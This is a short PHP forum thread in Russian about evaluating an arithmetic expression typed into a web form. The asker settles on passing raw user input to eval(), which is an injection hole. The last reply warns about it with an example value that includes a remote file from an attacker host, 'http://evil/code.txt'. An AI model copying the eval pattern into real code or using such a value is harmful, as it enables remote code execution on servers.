|
|
|
| Здравствуйте, возникла такая проблема.
Существует например поле ввода input, в него вводят к примеру 2 * 9 и на странице выводится эта переменная, только не в виде строки, а с типом int. Как такое собственно реализовать?
Ведь то что вводят в input имеет тип string и при выводе будет "2 * 9", а требуется вывести "18". Если переводить строку в int: $a = (int)$a; то теряются операторы и выводится не 18, а только 2, то есть первая цифра, знак умножения и вторая цифра теряются. | |
|
|
|
|
|
|
|
для: 3D-GRAF
(15.01.2008 в 21:03)
| | Нда. Надо писать парсер выражения и вычислять. Для PHP там никаких операторов нет. | |
|
|
|
|
|
|
|
для: Unkind
(15.01.2008 в 21:27)
| | А поподробней можно про парсер, не очень я с ним дружу. А почему это нету операторов для PHP? вобще задача сводится к тому, что:
echo 2 * 3; //выведет 6
а,
echo "2 * 3"; //выведет 2 * 3.
Так вот как "2 * 3" преобразовать в 2 * 3, уже как бы не string ? | |
|
|
|
|
|
|
|
для: 3D-GRAF
(15.01.2008 в 21:33)
| | Парсер - это синтаксический анализатор. Вам нужно проверить синтаксис строки и разбирать строку "2 * 3" на составляющие (левый операнд - "2", правый - "3", оператор - "*") и умножать 2 на 3. Впрочем, всё зависит от того алгоритма, который Вы придумаете. Но так или иначе, задачу придется разложить на более простые. Точнее говоря, объяснить PHP, что нужно делать.
Придется делать самому - перекладывать задачу на eval(), т.е. на интерпретатор тут не подойдет, т.к. Вы не можете без того же разбора узнать о ситуациях вроде попытки деления на ноль, умножения на слишком большое число, ошибок в синтаксисе и так далее.
Ответить так просто не выйдет. Если Вас сильно интересует, как это можно сделать, то могу предложить свой парсер. Но за деньги. | |
|
|
|
|
|
|
|
для: Unkind
(15.01.2008 в 21:27)
| | а eval () что делает?
я думал он для таких задач... или я ошибаюсь... | |
|
|
|
|
|
|
|
для: а-я
(15.01.2008 в 21:36)
| | Что-то не очень понимаю как он работает, поправьте если не так понял:
$a = "5 * 3";
$a = eval($a);
echo $a;
даёт мне:
Parse error: syntax error, unexpected $end in example.php(5) : eval()'d code on line 1
А всё, понял наконец-то, большое спасибо, не знал про эту функцию, и сам код как должен выглядеть, может кому-то пригодится:
$a = "5 * 3";
eval("echo $a;"); | |
|
|
|
|
|
|
|
для: 3D-GRAF
(15.01.2008 в 22:16)
| | eval выполняет код...
осторожней, а то подкинут вам вместо 5*3 в eval
5*3;include('http://evil/code.txt')
|
и будет вам привет от умника какого нить ;) | |
|
|
|